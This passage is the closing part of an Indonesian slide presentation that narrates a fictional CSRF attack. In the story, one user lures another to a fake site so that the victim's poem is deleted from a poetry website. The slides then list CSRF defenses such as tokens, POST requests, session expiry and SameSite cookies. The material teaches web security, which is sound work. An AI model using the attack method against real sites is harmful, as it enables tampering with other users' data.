  • 28. (4) MENUNGGU KABAR BAIK SETELAH MENYEBAR BROADCAST DI WA GROUP MAKA YANG DILAKUKAN MAS KHER ADALAH WAIT AND SEE. JIKA MAS BOY MENGUNJUNGI FAKE SITE YANG DIBUAT DAN KONDISI DIA BELUM LOGOUT DARI WEBSITE “PUISI KITA” MAKA SERANGAN CSRF BERHASIL DILAKUKAN. KEBERHASILAN TERSEBUT DIINDIKASIKAN DENGAN HILANGNYA PUISI MAS BOY “NUSANTARA TERCINTA” DARI DAFTAR PUISI POPULER YANG ADA DIHALAMAN DEPAN WEBSITE “PUISI KITA”. DAN URUTAN PERTAMA DIGANTIKAN OLEH PUISI MAS KHER BERJUDUL “KEINDAHAN ALAM INI”. SERANGAN INI TIDAK BERDAMPAK APAPUN PADA PENGGUNA PUISI KITA LAIN SEPERTI CAK LONTONG KARENA MAS KHER HANYA MENTARGET SECARA SPESIFIK ID DARI PUISI MAS BOY.
  • 29. (5) PUISI MAS BOY TERHAPUS NAMPAKNYA SERANGAN CSRF YANG DIRANCANG OLEH MAS KHER BERHASIL. HAL ITU DITANDAI DENGAN PUISINYA BERTENGGER DI PUNCAK PUISI TERPOPULER.
  • 30. PELAJARAN APA YANG BISA DIAMBIL DARI KASUS WEBSITE PUISI KITA?
  • 31. 1. SELALU GUNAKAN CSRF TOKEN YANG UNIK PADA REQUEST YANG MENGUBAH SEBUAH DATA. INI ADALAH PERTAHANAN TERPENTING. 2. GUNAKAN HTTP METHOD “POST” UNTUK MELAKUKAN PERUBAHAN DATA. CSRF LEBIH MUDAH DILAKUKAN PADA “GET” TERLEBIH JIKA BROWSER YANG DIGUNAKAN TIDAK AMAN. 3. BATASI EXPIRES DARI SESSION DALAM WAKTU TERTENTU SEHINGGA JIKA USER LUPA LOGOUT MAKA SESSION SUDAH TIDAK VALID. 4. EDUKASI USER UNTUK MELAKUKAN UPGRADE BROWSER KE VERSI YANG AMAN YAITU MENDUKUNG FITUR SAMESITE COOKIES DAN SAMEORIGIN.
  • 32. ./END Rio Astamal rioastamal rioastamal.net rio@rioastamal.net Gambar icon diambil dari Flaticon.com Presentasi ini juga dapat dilihat pada rioastamal.net/presentasi/2021/04/ Kode pada presentasi ini dapat dilihat pada github.com/rioastamal-examples/phpid-xss-csrf-simulation/ Simulasi hacking lainnya dapat dicoba di abwh.rioastamal.net